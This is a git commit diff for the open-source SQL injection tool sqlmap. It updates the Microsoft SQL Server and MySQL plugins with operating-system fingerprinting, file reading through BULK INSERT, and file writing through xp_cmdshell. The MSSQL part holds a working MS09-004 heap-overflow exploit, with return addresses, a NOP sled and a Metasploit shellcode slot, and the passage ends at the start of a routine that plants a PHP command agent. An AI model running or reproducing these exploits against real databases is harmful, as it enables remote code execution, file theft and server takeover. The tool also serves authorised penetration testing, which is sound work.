Updated to sqlmap 0.7 release candidate 1

This commit is contained in:
Bernardo Damele
2009-04-22 11:48:07 +00:00
parent b997df740a
commit 8c0ac767f4
129 changed files with 8386 additions and 1388 deletions

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -24,42 +24,54 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import time
from lib.core.agent import agent
from lib.core.common import dataToOutFile
from lib.core.common import dataToStdout
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import getRange
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapSyntaxException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setDbms
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MSSQL_SYSTEM_DBS
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
from plugins.generic.fingerprint import Fingerprint
from plugins.generic.misc import Miscellaneous
from plugins.generic.takeover import Takeover
class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines Microsoft SQL Server methods
"""
def __init__(self):
self.excludeDbsList = MSSQL_SYSTEM_DBS
Enumeration.__init__(self, "Microsoft SQL Server")
Filesystem.__init__(self)
Takeover.__init__(self)
unescaper.setUnescape(MSSQLServerMap.unescape)
@@ -128,7 +140,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
if wsOsFp:
value += "%s\n" % wsOsFp
if self.banner:
if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
@@ -168,41 +180,55 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
self.getPrematureBanner("@@VERSION")
self.getBanner()
if not conf.extensiveFp:
kb.os = "Windows"
return True
logMsg = "testing Microsoft SQL Server"
logger.info(logMsg)
infoMsg = "testing Microsoft SQL Server"
logger.info(infoMsg)
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
result = Request.queryPage(payload)
if result == True:
logMsg = "confirming Microsoft SQL Server"
logger.info(logMsg)
infoMsg = "confirming Microsoft SQL Server"
logger.info(infoMsg)
for version in ( 0, 5, 8 ):
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 25, 1)=%d" % version)
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d" % version)
result = Request.queryPage(payload)
if result == True:
if version == 8:
kb.dbmsVersion = ["2008"]
elif version == 5:
kb.dbmsVersion = ["2005"]
elif version == 0:
kb.dbmsVersion = ["2000"]
kb.dbmsVersion = [ "2008" ]
break
break
elif version == 5:
kb.dbmsVersion = [ "2005" ]
break
else:
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=7")
result = Request.queryPage(payload)
if result == True:
kb.dbmsVersion = [ "7.0" ]
break
if kb.dbmsVersion:
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
else:
setDbms("Microsoft SQL Server")
self.getPrematureBanner("@@VERSION")
self.getBanner()
kb.os = "Windows"
return True
else:
@@ -212,6 +238,85 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
return False
def checkDbmsOs(self, detailed=False):
if kb.os and kb.osVersion and kb.osSP:
return
if not kb.os:
kb.os = "Windows"
if detailed == False:
return
infoMsg = "fingerprinting the back-end DBMS operating system "
infoMsg += "version and service pack"
logger.info(infoMsg)
infoMsg = "the back-end DBMS operating system is %s" % kb.os
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
versions = {
"2003": ( "5.2", ( 2, 1 ) ),
#"2003": ( "6.0", ( 2, 1 ) ),
"2008": ( "7.0", ( 1, ) ),
"2000": ( "5.0", ( 4, 3, 2, 1 ) ),
"XP": ( "5.1", ( 2, 1 ) ),
"NT": ( "4.0", ( 6, 5, 4, 3, 2, 1 ) )
}
# Get back-end DBMS underlying operating system version
for version, data in versions.items():
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%Windows NT " + data[0] + "%')>0"
query = agent.forgeCaseStatement(query)
if inject.getValue(query, charsetType=1) == "1":
kb.osVersion = version
infoMsg += " %s" % kb.osVersion
break
if not kb.osVersion:
kb.osVersion = "2003"
kb.osSP = 2
warnMsg = "unable to fingerprint the underlying operating "
warnMsg += "system version, assuming it is Windows "
warnMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
logger.warn(warnMsg)
self.cleanup(onlyFileTbl=True)
return
# Get back-end DBMS underlying operating system service pack
sps = versions[kb.osVersion][1]
for sp in sps:
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%Service Pack " + str(sp) + "%')>0"
query = agent.forgeCaseStatement(query)
if inject.getValue(query, charsetType=1) == "1":
kb.osSP = sp
break
if not kb.osSP:
debugMsg = "assuming the operating system has no service pack"
logger.debug(debugMsg)
kb.osSP = 0
if kb.osVersion:
infoMsg += " Service Pack %d" % kb.osSP
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)
def getPrivileges(self):
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
warnMsg += "database users privileges"
@@ -221,29 +326,29 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
def getTables(self):
logMsg = "fetching tables"
infoMsg = "fetching tables"
if conf.db:
logMsg += " for database '%s'" % conf.db
logger.info(logMsg)
infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg)
rootQuery = queries[kb.dbms].tables
if not conf.db:
if not len(self.cachedDbs):
if not len(kb.data.cachedDbs):
dbs = self.getDbs()
else:
dbs = self.cachedDbs
dbs = kb.data.cachedDbs
else:
if "," in conf.db:
dbs = conf.db.split(",")
else:
dbs = [conf.db]
if conf.unionUse:
if kb.unionPosition:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
logMsg = "skipping system database '%s'" % db
logger.info(logMsg)
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
@@ -251,22 +356,22 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
value = inject.getValue(query, blind=False)
if value:
self.cachedTables[db] = value
kb.data.cachedTables[db] = value
if not self.cachedTables:
if not kb.data.cachedTables:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
logMsg = "skipping system database '%s'" % db
logger.info(logMsg)
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
logMsg = "fetching number of tables for "
logMsg += "database '%s'" % db
logger.info(logMsg)
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
query = rootQuery["blind"]["count"] % db
count = inject.getValue(query, inband=False)
count = inject.getValue(query, inband=False, charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "unable to retrieve the number of "
@@ -282,14 +387,330 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
tables.append(table)
if tables:
self.cachedTables[db] = tables
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not self.cachedTables:
if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException, errMsg
return self.cachedTables
return kb.data.cachedTables
def unionReadFile(self, rFile):
errMsg = "Microsoft SQL Server does not support file reading "
errMsg += "with UNION query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
result = []
txtTbl = self.fileTblName
hexTbl = "%shex" % self.fileTblName
self.createSupportTbl(txtTbl, self.tblField, "text")
inject.goStacked("DROP TABLE %s" % hexTbl)
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
logger.debug("loading the content of file '%s' into support table" % rFile)
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
# Reference: http://support.microsoft.com/kb/104829
binToHexQuery = """
DECLARE @charset VARCHAR(16)
DECLARE @counter INT
DECLARE @hexstr VARCHAR(4096)
DECLARE @length INT
DECLARE @chunk INT
SET @charset = '0123456789ABCDEF'
SET @counter = 1
SET @hexstr = ''
SET @length = (SELECT DATALENGTH(%s) FROM %s)
SET @chunk = 1024
WHILE (@counter <= @length)
BEGIN
DECLARE @tempint INT
DECLARE @firstint INT
DECLARE @secondint INT
SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
SET @firstint = floor(@tempint/16)
SET @secondint = @tempint - (@firstint * 16)
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)
SET @counter = @counter + 1
IF @counter %% @chunk = 0
BEGIN
INSERT INTO %s(%s) VALUES(@hexstr)
SET @hexstr = ''
END
END
IF @counter %% (@chunk) != 0
BEGIN
INSERT INTO %s(%s) VALUES(@hexstr)
END
""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)
binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ")
binToHexQuery = urlencode(binToHexQuery, convall=True)
inject.goStacked(binToHexQuery)
if kb.unionPosition:
result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False)
if not result:
result = []
count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the content of the "
errMsg += "file '%s'" % rFile
raise sqlmapNoneDataException, errMsg
indexRange = getRange(count)
for index in indexRange:
chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3)
result.append(chunk)
inject.goStacked("DROP TABLE %s" % hexTbl)
return result
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "Microsoft SQL Server does not support file upload with "
errMsg += "UNION query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
# NOTE: this is needed here because we use xp_cmdshell extended
# procedure to write a file on the back-end Microsoft SQL Server
# file system. Maybe it won't be required to write text files
self.initEnv()
self.getRemoteTempPath()
debugMsg = "going to use xp_cmdshell extended procedure to write "
debugMsg += "the %s file content to file '%s'" % (fileType, dFile)
logger.debug(debugMsg)
debugSize = 0xFF00
tmpPath = conf.tmpPath.replace("/", "\\")
dFileName = os.path.split(dFile)[1]
dFile = dFile.replace("/", "\\")
wFileSize = os.path.getsize(wFile)
wFilePointer = open(wFile, "rb")
wFileContent = wFilePointer.read()
wFilePointer.close()
if wFileSize < debugSize:
chunkName = self.updateBinChunk(wFileContent, dFile, tmpPath)
sFile = "%s\%s" % (tmpPath, dFileName)
logger.debug("moving binary file %s to %s" % (sFile, dFile))
commands = (
"cd %s" % tmpPath,
"ren %s %s" % (chunkName, dFileName),
"move /Y %s %s" % (dFileName, dFile)
)
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
self.execCmd(forgedCmd)
else:
infoMsg = "the %s file is bigger than %d " % (fileType, debugSize)
infoMsg += "bytes. sqlmap will split it into chunks, upload "
infoMsg += "them and recreate the original file out of the "
infoMsg += "binary chunks server-side, wait.."
logger.info(infoMsg)
counter = 1
for i in range(0, wFileSize, debugSize):
wFileChunk = wFileContent[i:i+debugSize]
chunkName = self.updateBinChunk(wFileChunk, dFile, tmpPath)
if i == 0:
infoMsg = "renaming chunk "
copyCmd = "ren %s %s" % (chunkName, dFileName)
else:
infoMsg = "appending chunk "
copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName)
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
logger.debug(infoMsg)
commands = (
"cd %s" % tmpPath,
copyCmd,
"del /F %s" % chunkName
)
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
self.execCmd(forgedCmd)
logger.info("file chunk %d written" % counter)
counter += 1
sFile = "%s\%s" % (tmpPath, dFileName)
logger.debug("moving binary file %s to %s" % (sFile, dFile))
commands = (
"cd %s" % tmpPath,
"move /Y %s %s" % (dFileName, dFile)
)
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
self.execCmd(forgedCmd)
if confirm == True:
self.askCheckWrittenFile(wFile, dFile, fileType)
def uncPathRequest(self):
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
def overflowBypassDEP(self):
# TODO: use 'sc' to:
# * Get the SQL Server 'Service name' (usually MSSQLSERVER)
# * Detect the absolute SQL Server executable file path
#
# References:
# * http://www.ss64.com/nt/sc.html
# * http://www.ss64.com/nt/for_cmd.html
self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe")
if self.bypassDEP == False:
return
logger.info("restarting Microsoft SQL Server, wait..")
time.sleep(15)
# TODO: use 'sc' to:
# * Warn the user that sqlmap needs to restart the SQL Server
# service, ask for confirmation
# * Stop the SQL Server service (after handling DEP)
# * Start the SQL Server service (after handling DEP)
# Another way to restart MSSQL consists of writing a bat file with
# the following text:
#
#@ECHO OFF
#NET STOP MSSQLSERVER
#NET START MSSQLSERVER
#
# Then run the following statement and wait a few seconds:
#
# exec master..xp_cmdshell 'start C:\WINDOWS\Temp\sqlmaprandom.bat'
def spHeapOverflow(self):
"""
References:
* http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
* http://support.microsoft.com/kb/959420
"""
returns = {
"2003": ( 2, "CHAR(0x77)+CHAR(0x55)+CHAR(0x87)+CHAR(0x7c)" ), # ntdll.dll: 0x7c8601bd -> 7508e877 (0x77e80857 it's a CALL ESI @ kernel32.dll)
"2000": ( 4, "CHAR(0xdc)+CHAR(0xe1)+CHAR(0xf8)+CHAR(0x7c)" ), # shell32.dll: 0x7cf8e1ec 163bf77c -> (CALL ESI @ shell32.dll)
}
retAddr = None
for version, data in returns.items():
sp = data[0]
address = data[1]
if kb.osVersion == version and kb.osSP == sp:
retAddr = address
break
if retAddr == None:
errMsg = "sqlmap can not exploit the stored procedure buffer "
errMsg += "overflow because it does not have a valid return "
errMsg += "code for the underlying operating system (Windows "
errMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
raise sqlmapUnsupportedFeatureException, errMsg
self.spExploit = """
DECLARE @buf NVARCHAR(4000),
@val NVARCHAR(4),
@counter INT
SET @buf = '
declare @retcode int,
@end_offset int,
@vb_buffer varbinary,
@vb_bufferlen int
exec master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
SET @val = CHAR(0x41)
SET @counter = 0
WHILE @counter < 3320
BEGIN
SET @counter = @counter + 1
IF @counter = 411
BEGIN
/* Return address */
SET @buf = @buf + %s
/* Nopsled */
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
/* Metasploit shellcode stage 1 */
SET @buf = @buf + %s
/* Unroll the stack and return */
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
CHAR(0xc3)
SET @counter = @counter + 302
SET @val = CHAR(0x43)
CONTINUE
END
SET @buf = @buf + @val
END
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
EXEC master..sp_executesql @buf
""" % (retAddr, self.shellcodeChar)
self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
self.spExploit = urlencode(self.spExploit, convall=True)
logger.info("triggering the buffer overflow vulnerability, wait..")
inject.goStacked(self.spExploit, silent=True)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -24,43 +24,52 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import re
from lib.core.agent import agent
from lib.core.common import fileToStr
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getDirectories
from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapSyntaxException
from lib.core.session import setDbms
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import MYSQL_SYSTEM_DBS
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.techniques.inband.union.use import unionUse
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
from plugins.generic.fingerprint import Fingerprint
from plugins.generic.misc import Miscellaneous
from plugins.generic.takeover import Takeover
class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines MySQL methods
"""
def __init__(self):
self.excludeDbsList = MYSQL_SYSTEM_DBS
self.__basedir = None
self.excludeDbsList = MYSQL_SYSTEM_DBS
Enumeration.__init__(self, "MySQL")
Filesystem.__init__(self)
Takeover.__init__(self)
unescaper.setUnescape(MySQLMap.unescape)
@@ -125,8 +134,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
def __commentCheck(self):
logMsg = "executing MySQL comment injection fingerprint"
logger.info(logMsg)
infoMsg = "executing MySQL comment injection fingerprint"
logger.info(infoMsg)
query = agent.prefixQuery(" /* NoValue */")
query = agent.postfixQuery(query)
@@ -139,14 +148,14 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
return None
# MySQL valid versions updated at 10/2008
# MySQL valid versions updated on 02/2009
versions = (
(32200, 32233), # MySQL 3.22
(32300, 32359), # MySQL 3.23
(40000, 40031), # MySQL 4.0
(40100, 40125), # MySQL 4.1
(50000, 50074), # MySQL 5.0
(50100, 50131), # MySQL 5.1
(40100, 40122), # MySQL 4.1
(50000, 50077), # MySQL 5.0
(50100, 50132), # MySQL 5.1
(60000, 60009), # MySQL 6.0
)
@@ -186,7 +195,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
if wsOsFp:
value += "%s\n" % wsOsFp
if self.banner:
if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
@@ -199,19 +208,19 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
value += actVer
return value
comVer = self.__commentCheck()
blank = " " * 15
value += "active fingerprint: %s" % actVer
# TODO: comment injection fingerprint is broken, fix
comVer = self.__commentCheck()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if comVer:
comVer = formatDBMSfp([comVer])
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
if kb.bannerFp:
# TODO: move to the XML banner file
banVer = kb.bannerFp["dbmsVersion"]
if re.search("-log$", self.banner):
if re.search("-log$", kb.data.banner):
banVer += ", logging enabled"
banVer = formatDBMSfp([banVer])
@@ -238,15 +247,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
setDbms("MySQL %s" % kb.dbmsVersion[0])
if int(kb.dbmsVersion[0]) >= 5:
self.has_information_schema = True
kb.data.has_information_schema = True
self.getPrematureBanner("VERSION()")
self.getBanner()
if not conf.extensiveFp:
return True
logMsg = "testing MySQL"
logger.info(logMsg)
infoMsg = "testing MySQL"
logger.info(infoMsg)
randInt = str(randomInt(1))
@@ -254,8 +263,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
result = Request.queryPage(payload)
if result == True:
logMsg = "confirming MySQL"
logger.info(logMsg)
infoMsg = "confirming MySQL"
logger.info(infoMsg)
payload = agent.fullPayload(" AND ISNULL(1/0)")
result = Request.queryPage(payload)
@@ -267,38 +276,32 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
return False
# Determine if it is MySQL >= 5.0.0
if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt) == randInt:
setDbms("MySQL 5")
self.has_information_schema = True
if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt, charsetType=2) == randInt:
kb.data.has_information_schema = True
kb.dbmsVersion = [">= 5.0.0"]
self.getPrematureBanner("VERSION()")
setDbms("MySQL 5")
self.getBanner()
if not conf.extensiveFp:
kb.dbmsVersion = [">= 5.0.0"]
return True
# Check if it is MySQL >= 6.0.3
if inject.getValue("SELECT %s FROM information_schema.PARAMETERS LIMIT 0, 1" % randInt) == randInt:
if inject.getValue("SELECT %s FROM information_schema.PROFILING LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 6.0.5"]
else:
kb.dbmsVersion = [">= 6.0.3", "< 6.0.5"]
# Or if it MySQL >= 5.1.2 and < 6.0.3
elif inject.getValue("MID(@@table_open_cache, 1, 1)"):
if inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.7", "< 6.0.3"]
elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt) == randInt:
# Check if it is MySQL >= 5.1.2
if inject.getValue("MID(@@table_open_cache, 1, 1)", unpack=False):
if inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
kb.dbmsVersion = [">= 5.1.7"]
elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
kb.dbmsVersion = ["= 5.1.6"]
elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt) == randInt:
elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
else:
kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
# Or if it is MySQL >= 5.0.0 and < 5.1.2
elif inject.getValue("MID(@@hostname, 1, 1)"):
elif inject.getValue("MID(@@hostname, 1, 1)", unpack=False):
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
elif inject.getValue("SELECT 1 FROM DUAL") == "1":
elif inject.getValue("SELECT 1 FROM DUAL", charsetType=1) == "1":
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"]
@@ -307,10 +310,11 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
# Otherwise assume it is MySQL < 5.0.0
else:
setDbms("MySQL 4")
kb.dbmsVersion = ["< 5.0.0"]
self.getPrematureBanner("VERSION()")
setDbms("MySQL 4")
self.getBanner()
if not conf.extensiveFp:
return True
@@ -329,7 +333,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
kb.dbmsVersion = ["= 4.1.0"]
else:
kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
elif inject.getValue("FOUND_ROWS()") == "0":
elif inject.getValue("FOUND_ROWS()", charsetType=1) == "0":
kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
elif inject.getValue("CONNECTION_ID()"):
kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
@@ -346,181 +350,261 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
return False
def readFile(self, rFile):
logMsg = "fetching file: '%s'" % rFile
logger.info(logMsg)
def checkDbmsOs(self, detailed=False):
if kb.os:
return
return inject.getValue("LOAD_FILE('%s')" % rFile)
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "text")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
def osShell(self):
"""
This method is used to write a PHP agent (cmd.php) on a writable
remote directory within the web server document root.
Such agent is written using the INTO OUTFILE MySQL DBMS
functionality
